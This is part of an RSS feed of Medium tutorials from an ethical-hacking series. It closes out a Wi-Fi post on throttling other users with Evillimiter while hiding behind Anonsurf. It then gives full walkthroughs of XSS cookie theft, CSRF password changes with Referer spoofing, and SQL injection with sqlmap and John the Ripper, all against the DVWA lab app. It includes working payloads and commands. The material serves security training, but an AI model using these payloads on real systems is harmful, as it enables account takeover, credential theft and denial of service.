</em></strong>We can see that we have <strong><em>our PC’s IP address is not in the list nor is our initial IP address of 192.168.0.104 or our new 192.168.0.110. </em></strong>Anonsurf masks everything for us hence making it hard for any web admin to track us. This is very vital for anonymity whilst executing this attack</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3J6s2WSEvnh82hp6CzRtng.jpeg" /><figcaption>The Network admin can only see six allowed servers</figcaption></figure><p><strong><em>7. [IMPORTANT] </em></strong>To eject everyone out of the WIFI, simply type <strong><em>block all. </em></strong>This move blocks all the other users by completely limiting their bandwidth to 0. They cannot download/upload/stream or basically access internet while WIFI connection status remains on. This concludes our attack !! To restore access to WIFI to everyone else, simply type <strong><em>free all </em></strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MApICin8GnBDn9KL452INg.png" /><figcaption>7.2 How to block or free everyone</figcaption></figure><p><em>NB: still researching if the attack also blocks the main router from dispensing bandwidth to the rest of the network [ We can see the Router’s gateway is also blocked ]</em></p><p><strong>Follow up Notes</strong></p><p>Explore more what Evillimiter by typing help and seeing other features like:</p><ol><li>We can also customize by how much we limit our bandwidth and for which devices.</li><li>How to block specific hosts</li><li>Explore how to add custom hosts masking our attacks even more</li><li>Furthemore, we can analyze a specific target’s bandwidth usage to basically know who uses much of the bandwidth in the system and specifically chose to kick them out</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xul6j-CZkE_5u09SF2sKVA.jpeg" /></figure><p><strong>Recommendations</strong></p><p>WPA2 Enterprise WIFI Technology encrypts the network only allowing intranet users to access the Network. In case of an attack, the Web Admin can identify which user is executing the attack despite changing IP/Mac address as the username or unique ID can&#39;t be masked easily remains.</p><p>This article is a foundation for our oncoming series of reconnaissance where I will curate articles that help us capture a particular’s, open source of course, domain Server info/emails/IP addresses and try to understand from a hacker’s perspective how they gather information before executing attacks.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=679b50089af1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Website Hacking Series; Part E: Cross Site Scripting(XSS)]]></title>
            <link>https://franklinemisango.medium.com/website-hacking-series-part-e-cross-site-scripting-xss-23530d7a0584?source=rss-fa795e6a5cf------2</link>
            <guid isPermaLink="false">https://medium.com/p/23530d7a0584</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[website]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Frankline Misango]]></dc:creator>
            <pubDate>Thu, 16 Mar 2023 07:49:50 GMT</pubDate>
            <atom:updated>2023-03-16T07:49:50.336Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*b1QRqPmd1oGIcG0Z" /><figcaption>Cover image: Hacked image depicting most XSS back props after hacking websites. Image source: Сделано HPV! / Wikimedia commons</figcaption></figure><p><strong>Disclaimer: This article is for educational purposes and seeks to promote ethical hacking and superior cybersecurity practices in organizations and private entities. It does not advocate for any malicious intent. Furthermore, all materials used in this tutorial are solely personal and intentionally set vulnerable. I, therefore, absolve myself from any future unauthorized scripting from parties reading this article that may compromise the integrity of respective wireless networks</strong></p><p>Hello and welcome back to the final episode of this series! Today we are looking at XSS scripting. Over the course of the last 4 write-ups, we have investigated a whole range of Web Application vulnerabilities: <a href="https://franklinemisango.medium.com/website-hacking-series-part-b-malicious-code-injection-file-upload-3113640d6227">Malicious code injection</a>, <a href="https://medium.com/@franklinemisango/website-hacking-series-part-a-bruteforcing-using-burpsuite-6c08871170c8">BruteForcing</a>, <a href="https://medium.com/@franklinemisango/website-hacking-series-part-c-manual-automated-sql-injection-e9e2a0facd3a">SQL injection</a>, and <a href="https://medium.com/@franklinemisango/website-hacking-series-part-d-cross-site-request-forgery-csrf-a83dcefb00c8">CSRF</a>. In the previous article, I wrote about Cross-Site Request Forgery where we injected malicious code into a login page and took advantage of a user’s trusted session.</p><p>XSS scripting refers to a vulnerability where malicious code is stored or parsed onto a request for a webpage and is executed every time a webpage is loaded/clicked. The 3 types of XSS scripting are :</p><p>1. Stored XSS → Malicious code is stored inside a webpage and executed when the webpage is reloaded</p><p>2. Reflected XSS → Malicious code is parsed onto a specific URL and is executed when the victim clicks on the URL, similar to CSRF</p><p>3. DOM-based XSS → Less common, but the malicious code is placed on the DOM part of the browser and it makes the webpage load in an unexpected manner</p><p>XSS is only possible when the input is not well-sanitized first; it’s mostly used to redirect users to malicious websites/links. XSS is pretty much complex compared to XSRF and requires absolute practice to master (Ethically 🙂)</p><p>We are gonna use content injection, to carry out this XSS exercise, where instead of directing users to another site, we can inject links onto that we redirect users to, which then executes the payload</p><p><strong>Requirements</strong></p><ul><li>Kali Linux Separate OS /VMware Kali Linux</li><li>Burpsuite(installed by default in Kali)</li><li>DVWA (download from<a href="https://github.com/digininja/DVWA"> https://github.com/digininja/DVWA</a> )</li><li>MySQL ( installed by default in kali)</li><li>Apache (installed by default in kali)</li><li>Basic mastery of MySQL, PHP &amp; Bash scripting.</li><li>Basic prompt engineering skills: chatGPT</li><li>Basic Javascript/Python skills</li></ul><p>Before beginning make sure, you have Installed DVWA and its running as below. This<a href="https://youtu.be/j16iQwva5xo"> video</a> offers the best explanation for getting DVWA up and running and explains in the video my script instructions below (if you succeed, jump to step the procedures directly ). Furthermore, I fully covered it in the previous article step 1. <a href="https://medium.com/@franklinemisango/website-hacking-series-part-a-bruteforcing-using-burpsuite-6c08871170c8">Read more here</a>. Make sure you have a window as below. We set our Username and password as Admin &amp; password respectively.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nHr9OMVuC_XfgxF1flJ3OQ.png" /><figcaption>Admin and password</figcaption></figure><p><strong>Procedure → Basic XSS [ Reflected is the common attack type]</strong></p><ol><li>Scroll to XSS Reflected and select view source to observe the PHP code. The code basically takes our input name and renders the same as “Hello {Whatever name you parse in here }. This is actually bad since there is no sanitization involved. I can inject code that can render HTML code on this app and many other attacks.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*idu3yj_pN_p6rvkEmVQQoA.jpeg" /><figcaption>No Input sanitization</figcaption></figure><p>2. Javascript is a good language to load dynamic webpages and that is what we’ll use to load a script on the box. We can try the JS code below:</p><p>&lt;script&gt;</p><p>alert(“I just got hacked by Frankline”)</p><p>&lt;/script&gt;</p><p>Indeed, we can see the page renders what we typed on the box</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KwSIBasL5ngOz8Js3lQjKw.png" /><figcaption>Hacked by Frankline Depiction</figcaption></figure><p><strong>Procedure → Complex XSS [Reflected]</strong></p><ol><li>We need to create our own js file in the system to parse it onto the box and performed “Real-world” XSS scripting using the code below</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U60l-E8GOJDgle6WH646GQ.png" /><figcaption>pwn.js</figcaption></figure><p>The code as explained in comments; captures a user’s cookie onto which we can exploit other vulnerabilities like CSRF</p><p>2. In the same root directory where we have pwn.js , need to HTTP to port 7331 on our Linux machine using python which will highlight us when we capture the cookie from a user logging in. We parse in using python3 or python(whatever you prefer)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZnKvppErXBjWz7b259nwRQ.png" /></figure><p>3. We need to paste the code from step 1 and paste it to the submit window. As from the basic XSS scripting steps, it needs to be imbibed into the &lt;script&gt;&lt;/script&gt;. We can see The script executes judging by the snippet on pwn.js that we typed to tell us if the script is successfully injected</p><p><strong>The code &lt;script src = http:127.0.0.1:7331/pwn.js&gt;&lt;/script&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a4VrzAY9HK1HdkEmonoIKg.jpeg" /></figure><p>4. Observe the Python window and take note of the captured cookies. We finally note the cookie as below !! ‘security = low’ {Attempt with security = high }</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*TUfUBumSU0mufKQohE5qwg.jpeg" /><figcaption>The cookie can be exploited</figcaption></figure><p>Procedure → Complex XSS [Stored]</p><ol><li>Navigate to XSS stored webpage [Visit figure 3.1] as below and we can begin trying with dummy values i.e. We note the addition below the test comment</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*GjWjDWk57tMrARP-UraUtA.png" /><figcaption>We can see it stores on the page</figcaption></figure><p>2. View the source code and assess any sanitization. We can note that the PHP accepts code but doesn’t sanitize it to make sure that indeed we are typing alphanumeric values</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6tQ7OkTGBxuTScR3s5kXzA.jpeg" /></figure><p>3. We can actually attempt to use our pwn.js script from the previous article. The logic is to capture every cookie for a user who uses the signed book. If let’s say an attacker wants to exploit the company, the attacker can use the cookies to manipulate the trusted sessions</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5zr1zb1zkItPk6jf196Q6Q.png" /><figcaption>Parsing on our pwn.js</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dp_WauRlxVN2matPE-io0w.png" /><figcaption>Fig 3.2 : We can see our script executed</figcaption></figure><p>4. We indeed capture the cookie as below once more</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*sQvWvjEpOo5smGK5imTjFw.png" /><figcaption>Session B : The Guest page</figcaption></figure><p><strong>Follow-up notes</strong></p><p>Try running the script for various problems at <a href="https://www.hackthissite.org/">https://www.hackthissite.org/</a>.</p><p><strong>Conclusion and Recommendation</strong></p><p>The best prevention against XSS scripting is writing proper PHP de than sanitising the input of the user. Intranet IT should be aware of malicious links by constantly sanitizing users’ work emails and web activity to prevent accidental/intentional clicking of malicious links</p><p><strong>What Next?</strong></p><p>Over this 5-week journey, I have taken novice write-up steps to expound on website hacking methods any beginner can understand. In the next weeks, I am curating the best and most exciting hacking writeups/series on Launching attacks and tricks to pass some famous CTF problems ranging from Forensics, Cryptography, Web app hacking, Reverse engineering and binary exploitation. Stay tuned</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=23530d7a0584" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Website Hacking Series; Part D: Cross-Site Request Forgery(CSRF)]]></title>
            <link>https://franklinemisango.medium.com/website-hacking-series-part-d-cross-site-request-forgery-csrf-a83dcefb00c8?source=rss-fa795e6a5cf------2</link>
            <guid isPermaLink="false">https://medium.com/p/a83dcefb00c8</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[csrf-attack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Frankline Misango]]></dc:creator>
            <pubDate>Thu, 09 Mar 2023 12:53:56 GMT</pubDate>
            <atom:updated>2023-03-09T12:55:29.596Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*jFUwzLxq9En8xGzA" /><figcaption>A weekly hacker group which meets @ Dimsum Labs at 100 Jervois Street, 14/F, Sheung Wan, Hong Kong source: Wikimedia Commons / Dimsum Labs</figcaption></figure><p><strong>Disclaimer: This article is for educational purposes and seeks to promote ethical hacking and superior cybersecurity practices in organizations and private entities. It does not advocate for any malicious intent. Furthermore, all materials used in this tutorial are solely personal and intentionally set vulnerable. I, therefore, absolve myself from any future unauthorized scripting from parties reading this article that may compromise the integrity of respective wireless networks</strong></p><p>Hello, welcome back to this series. We are exploiting website hacking tricks and today I will be demonstrating the CSRF. This is part D of a running series. In the<a href="https://medium.com/@franklinemisango/website-hacking-series-part-c-manual-automated-sql-injection-e9e2a0facd3a"> previous article</a>, I covered manual and automated SQL injection on DVWA and recommended users to try their skills also on<a href="https://www.hackthissite.org/"> https://www.hackthissite.org/</a> which is free for exploitation of any kind that we have been learning so far</p><p>In this article, I will talk about CSRF which involves using malicious code to take advantage of a user’s trusted session inside their browser. For example, a common cause of CSRF would be when an attacker sends a malicious link to a user, who if he/she clicks it, allows the attacker full privilege of their trusted current session [i.e password autofill can be manipulated] . The attacker can then access some sites like their banking sites and wire themselves some money. Learn more <a href="https://owasp.org/www-community/attacks/xss/">here</a></p><p>Requirements</p><ul><li>Kali Linux Separate OS /VMware Kali Linux</li><li>Burpsuite(installed by default in Kali)</li><li>DVWA (download from<a href="https://github.com/digininja/DVWA"> https://github.com/digininja/DVWA</a> )</li><li>MySQL ( installed by default in kali)</li><li>Apache (installed by default in kali)</li><li>Basic mastery of MySQL, PHP &amp; Bash scripting.</li><li>Basic prompt engineering skills: chatGPT</li><li>Basic Python skills</li></ul><p><strong>Procedure</strong></p><ol><li>Installing &amp; running DVWA. This<a href="https://youtu.be/j16iQwva5xo"> video</a> offers the best explanation for getting DVWA up and running and explains in video my script instructions below (if you succeed, jump to step 2 directly ). Furthermore, I fully covered it in the previous article step 1. <a href="https://medium.com/@franklinemisango/website-hacking-series-part-a-bruteforcing-using-burpsuite-6c08871170c8">Read more here</a>. Make sure you have a window as below. We set our Username and password as Admin &amp; password respectively.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p2GEgfFc8X9se_GZ6lXWZw.jpeg" /><figcaption>Admin and Password</figcaption></figure><p>2. Navigate to the CSRF page below and start the testing. You can type in <strong>test </strong>as the new password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kZDoMSHGDLXOAGXuiKP11A.jpeg" /><figcaption>Test as password for the lowest settings</figcaption></figure><p>3. Click Test credentials to see if the “test” is a valid password for the admin. We can indeed see the password is valid for the user admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a2klJCzGwH6Ruy5aHOudFw.jpeg" /><figcaption>Test message for success</figcaption></figure><p>4. Before moving to step 5, We need to understand the logic behind the previous two steps to understand the CSRF. From the window below, we can observe the URL at the top and note the fields as highlighted in red below: <strong><em>password_new=test&amp;password_conf=test&amp;Change=Change#</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TqiZubdHb0UZrSlIyl3g8A.jpeg" /><figcaption>Figure 4.1: You can directly edit the URL above and parse it test also.</figcaption></figure><p>We denote that we can manually change the password_new variable to that of our choice. This malicious editing actually forms the logic behind CSRF. We can imagine, considering our current practice page, that a user is changing passwords for their bank account web app and is in the process of typing the fields. If the user let’s say clicks on our link, which we can target as a pop-up ad or as an email link where we manipulate the password_new values so if they click the link, we have changed the passwords without their knowledge and before they realize that they can’t log in since we have changed the password, an attacker may have already accessed the account and siphoned some valuables. You can try parsing in any password values that you want in the fields itacilized below. You can actually leave it here if the process is successful. But in case that fails, the next steps cover in case the website has more advanced protection against CSRF.</p><p><strong>password_new=<em>hacked</em>&amp;password_conf=<em>hacked</em>&amp;Change=Change#</strong></p><p>We will advance the security of the page and attempt the same trick</p><p>5. Observing the source code[Figure 5.1], we can see specific code snippets that prevent CSRF attacks as highlighted in red below. Snippet 1 basically lets us know that the request should come from the server of the system that should be the admin (Changing the Admin password inside the MySQL Database before parsing to the 127.0.0.1 host). If you want to know how that works,<a href="https://medium.com/@franklinemisango/website-hacking-series-part-a-bruteforcing-using-burpsuite-6c08871170c8"> read our first article</a> in this series. Snippet 2, lets us know that in case the request comes from someone else like an attacker, it should highlight the request is not possible. We attempt the use the trick in step 4 and see that it fails as in fig 5.2, The next step gives us a solution :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZtWP7TkeHTXkHi-8UWbwYg.jpeg" /><figcaption>Figure 5.1 : Observe the highlighted snippets</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gp2tto8mUYum8nL4IzVtVw.jpeg" /><figcaption>Remember to change the DVWA security to Medium etc</figcaption></figure><p>6. Our solution is using Burpsuite. We need to intercept the request before its sanitized by the PHP code, manipulate it to legitimize the request to appear as if it is coming from the server and forward it to sanitization allowing us to change the password.</p><p>7. Fire up Burpsuite, and turn on the intercept as below. More on using Burpsuite and Foxyproxy have been covered in our previous <a href="https://medium.com/@franklinemisango/website-hacking-series-part-a-bruteforcing-using-burpsuite-6c08871170c8">articles</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DgAuQMcVvh_ow5Uxtrs_qQ.jpeg" /><figcaption>Enable Foxyproxy</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jzpTtyx_iAc7yop4zAVvWA.jpeg" /><figcaption>Intercept ON</figcaption></figure><p>8. Let’s try step 5; where we want to change the password to<strong> “hacked”.</strong> Once we click change, we are redirected to the burp window, figure 8.2 below. We are interested in the referrer field below. We change it to<strong> “127.0.0.1”</strong> as in figure 9.2. Also, click the Request Headers field and observe the change of Referer. After these procedures, hit forward.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2djV-_UxqIcZiFDPUznSpA.jpeg" /><figcaption>Figure 8.1 : Click change and you will be automatically redirected to the window below in burpsuite</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zg1gwkZeiVcsiS_VBtLA6w.jpeg" /><figcaption>Figure 8.2: observe the two arrows and click Foward after changing</figcaption></figure><p>9. When we go back to the Window in step 7, we see the message “password” is changed and boom! We can test the credentials now in [figure 9.2]. Remember to turn off FoxyProxy / Burpsuite intercept from step 8 otherwise, you will be redirected back to Burpsuite</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j7zkOKiqhAcsBKBfCDpkjA.jpeg" /><figcaption>Figure 9.1 : It&#39;s successful after burpsuite forwarding</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t5e9opNlZZr_IJ0r5DqmcQ.jpeg" /><figcaption>Figure 9.2 : Admin &amp; hacked combo work</figcaption></figure><p><strong>Optional section → Python Automation</strong></p><p>We can use python to execute the whole CSRF with the code below which sends our request, parses in as a legitimate referrer and gives us back the response. We want to change the password to “tested”.</p><ol><li>Code the script below using python → GitHub <a href="https://github.com/FranklineMisango/Information_Security/blob/main/csrf_caller.py">link</a></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YHcYVzy4-KksI7k-cnMjHA.png" /><figcaption>Comments explain how the code works</figcaption></figure><p>2. Execute the script on terminal [ scroll down to see password changed]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3zrWgP9dD9sTPcK5MQDMHQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sfPsc1d0tSsLxocm17-1XQ.png" /><figcaption>Tested is our new password</figcaption></figure><p>3. Test the new password and observe if it changed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*al1LI2F42j7ooYFaKzdDbA.png" /><figcaption>Testing admin and tested combo…indeed it works</figcaption></figure><p><strong>Conclusion &amp; Follow-Up Notes</strong></p><p>We have finished the Manual, Semi-Automated CSRF and automated one using a python script. To buff up our knowledge more, try running the script for <a href="https://www.hackthissite.org/">https://www.hackthissite.org/</a>. Furthermore, study on Python sockets module and feel free to view my GitHub <a href="https://github.com/FranklineMisango/Information_Security">repository </a>here that has some scripts written in Python demonstrating the different applications of the sockets module</p><p><strong>Recommendations</strong></p><p>Actually, No major organizations or websites can program less sanitized code to allow our level of CSRF to take place. In case, there is, well best PHP sanitization should be placed to deter any CSRF of any kind. Admins should not place the server addresses carelessly as we only need them to carry out CSRF. If you suspect CSRF, alert security immediately and avoid clicking links on pages that require you to change your sensitive information like Passwords frequently.</p><p>The next article and the last one in this series, next week, will discuss the coveted Cross Site Scripting! stay tuned. Before then, read the articles from parts A to D and be conversant before XSS scripting</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a83dcefb00c8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Website Hacking Series; Part C: Manual & Automated SQL Injection]]></title>
            <link>https://franklinemisango.medium.com/website-hacking-series-part-c-manual-automated-sql-injection-e9e2a0facd3a?source=rss-fa795e6a5cf------2</link>
            <guid isPermaLink="false">https://medium.com/p/e9e2a0facd3a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[bash-scripting]]></category>
            <dc:creator><![CDATA[Frankline Misango]]></dc:creator>
            <pubDate>Sun, 05 Mar 2023 12:03:43 GMT</pubDate>
            <atom:updated>2023-03-05T12:03:43.651Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*s_aMFhXsqU4yM5TfbUm0vw.jpeg" /><figcaption>Cover Image: Anarchist hacker banner for HOPE — Hackers on Planet Earth conference, source: Rek2/Wikimedia commons</figcaption></figure><p><strong>Disclaimer: This article is for educational purposes and promotes ethical hacking and superior cybersecurity practices in organisations and private entities. It does not advocate for any malicious intent. Furthermore, all materials used in this tutorial are solely personal and intentionally set vulnerable. I, therefore, absolve myself from any future unauthorized scripting from parties reading this article that may compromise the integrity of respective wireless networks</strong></p><p>Hello, welcome back to this series. We are exploiting website hacking tricks and today I will be demonstrating the Famous and most revered SQL Injection. This is part C of a running series. In the<a href="https://medium.com/@franklinemisango/website-hacking-series-part-b-malicious-code-injection-file-upload-3113640d6227"> previous article</a>, I covered malicious file/code injection into websites.</p><p>In this one, we will undertake the SQL injection which involves attackers taking advantage of an SQL query that is not being sanitized. This allows any user to execute any SQL command and this may allow attackers to dump all the contents of the website’s database as long as their commands are right. The first part covers manual SQL injection and the second part automates SQL injection using SQLmap</p><p>To brush up on the most basic SQL code and PHP code that we may need, consider the snippets below</p><p><strong><em>SELECT username from user where id = 1</em></strong> → SQL code that selects the username based on id from a database called users. The most admin id is 1.</p><p><strong><em>$id = $_GET[‘id’]</em></strong></p><p><strong><em>$getid = “select username from users where id = ‘$id’ ”</em> </strong>→ If we take advantage of the fact that the PHP application that does not sanitize input, we can use the $id field to parse onto it any commands we want.</p><p><strong>Requirements</strong></p><ul><li>Kali Linux Separate OS /VMware Kali Linux</li><li>Burpsuite(installed by default in Kali)</li><li>DVWA (download from<a href="https://github.com/digininja/DVWA"> https://github.com/digininja/DVWA</a> )</li><li>MySQL ( installed by default in kali)</li><li>Apache (installed by default in kali)</li><li>Basic mastery of MySQL, PHP &amp; Bash scripting.</li><li>Basic prompt engineering skills: chatGPT</li><li>SQLmap (default installed in Linux)</li></ul><p><strong>Procedure — Manual SQL injection</strong></p><ol><li>Installing &amp; running DVWA. This<a href="https://youtu.be/j16iQwva5xo"> video</a> offers the best explanation for getting DVWA up and running and explains in video my script instructions below (<strong>if you succeed, jump to step 2 directly </strong>). Furthermore, I fully covered it in the previous article step 1. <a href="https://medium.com/@franklinemisango/website-hacking-series-part-a-bruteforcing-using-burpsuite-6c08871170c8">Read more here</a>. Make sure you have a window as below. We set our Username and password as <strong>Admin </strong>&amp; <strong>password </strong>respectively.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*p120hbt0mO83iz66" /><figcaption>The default username and password are admin and “password”</figcaption></figure><p>2. Navigate to the SQL injection window, that appears below and starts typing random IDs to try to identify which users may exist on the Website. We note that indeed our admin was 1 and other users have ids from 2 etcetera. [Optional — click view source code to observe how the authentication PHP works]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8Y-ndzIGQ0TA5dNO" /><figcaption>Fig. 2.1 : typing 1 to get the admin name</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*92zRgr2DGOqJbAut" /><figcaption>Fig. 2.2:Showing other users from admin etc</figcaption></figure><p>3. We need to type a single ‘ to observe how the code breaks and gather any information that we may need prior to starting our SQL injection attack. Indeed, after typing a single quote, the code breaks and you should see a blank screen</p><p>4. To start SQL injection, we need to type 1’ or 1=1#. This code gives us the admin credentials and effectively bars any syntax errors caused by any incomplete query. Find the elegant chatGPT explanation below as well</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/0*Bqlzv4PoEHEmqomT" /><figcaption>ChatGPT explaining the logic behind the</figcaption></figure><p>5. We want to think of ways we can take advantage of the code above and Parse onto it other commands that can possibly allow us to gather information about the passwords etc. We type the self-explanatory code below to do the necessary commands → <strong><em>1 or 1=1 union select user, password from users#</em></strong>. We can view the hashes below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*cPzk_WP5jRRn0LQO" /><figcaption>Hashes for all users in the DB</figcaption></figure><p>6. We need to create a basic .txt file and copy-paste all the hashes from the window as below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*vY9Fw3EWagsHf0TD" /><figcaption>Pasting the hashes to hashes.txt</figcaption></figure><p>7. We need to invoke John the Ripper to crack the hashes using the command:<strong><em> john — wordlist=/usr/share/wordlists/rockyou.txt — format=Raw-MD5 hashes.txt. </em></strong>[If you ran into an error about rockyou.txt not being located, check figure 7.2 below to extract… it’s in .gz ]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*QBpTk0xhsk3Mbb-I" /><figcaption>Figure 7.1 : Using John ripper for direct cracking</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*zFByoCvhzwGBmYp5" /><figcaption>Figure 7.2: How to resolve rockyyou.txt not found</figcaption></figure><p>8. Now it’s time to display the cracked hashes and determine whether our crack was successful → j<strong><em>ohn — show — format=Raw-MD5 hashes.txt</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*QeWOxnnQ6MW_BLJw" /></figure><p>9. Voila, we get the admin password as the “password” as we set it before. We can try any of the passwords as below on the login page below: I will use <strong>Pablo, </strong>with his cracked password being <strong>letmein</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*-zbBCmexwS7HTZEe" /><figcaption>Voila, we are in</figcaption></figure><p><strong>Procedure — Automated SQL Injection</strong></p><ol><li>We need to copy and paste the URL of the DVWA which is: <a href="http://127.0.0.1/DVWA/vulnerabilities/sqli/"><strong>http://127.0.0.1/DVWA/vulnerabilities/sqli/</strong></a></li><li>Code the sqlmap code as below and click Y except for storing the hashes to a temporary file for eventual further processing</li></ol><p><strong>sqlmap -u “http://127.0.0.1/DVWA/vulnerabilities/sqli?id=1&amp;Submit=Submit&quot; — cookie=”security=low” -b — current-db — current-user — dump</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*3XsLJqVzi3DYr2Xr" /><figcaption>Figure 3.1</figcaption></figure><p>3. Boom, We can see the output below from the previous step command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*nOIbE9wp_Y9MDSoh" /><figcaption>Figure 3.2: A generated Database showing hashes, usernames and passwords etc</figcaption></figure><p><strong>Follow-Up notes</strong></p><ol><li>SQL injection is pretty intensive and requires practice on different levels in CTFs or open websites. Consider setting up and trying on dummy login pages</li><li>This is a simple SQL injection and “real” websites have far superior sanitization algorithms. But of course, Practice makes a better dev</li></ol><p><strong>Recommendations</strong></p><p>The only best way to prevent SQL injection attacks is input validation. Developers must write code that multi-checks each and every parameter on the login</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e9e2a0facd3a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>